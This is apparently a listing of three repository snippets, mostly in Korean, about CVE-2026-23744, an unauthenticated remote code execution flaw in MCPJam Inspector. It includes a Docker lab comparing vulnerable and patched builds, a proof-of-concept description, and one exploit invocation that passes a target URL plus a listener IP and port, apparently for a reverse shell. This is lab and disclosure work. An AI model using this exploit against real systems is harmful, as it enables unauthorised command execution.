CVE-2026-23744-Lab

CVE-2026-23744 – MCPJam Inspector Docker Lab 이 저장소는 CVE-2026-23744 에 대한 MCPJam Inspector의 취약한 빌드와 패치된 빌드를 비교 하기 위한 소형 Docker 랩입니다. 학습 목적과 공개 보안 포트폴리오 구축을 위해 설계되었습니다: 빠른 설정, 명확한 증거, 스크린샷. ⚠️ 윤리 / 범위 : 소유한 시스템 또는 명시적 테스트 허가를 받은 시스템에서만 테스트하세요. 이 저장소는 로컬 재현 및 문서화를 위한 것입니다. 이 랩이 시연하는 내용 취약한 버전1.4.2은...

CVE-2026-23744-POC

CVE-2026-23744 — MCP 서버 인증 없는 원격 코드 실행 작성자:d3vn0mi의 개념 증명 익스플로잇 개요 CVE-2026-23744 은 포트 6274에 노출된 MCP 호환 서버에서 발생하는 인증 없는 원격 코드 실행RCE 취약점입니다. /api/mcp/connect 엔드포인트는 호출자가 임의의 OS 명령과 인자를 지정할 수 있는 serverConfig 객체를 허용하며, 인증이나 권한 검사가 전혀 수행되지 않습니다. 서비스에 네트워크로 접근할 수 있는 공격자는 MCP 서버를 실행 중인 사용자의 권한으로 임의의 명령...

CVE-2026-23744

CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...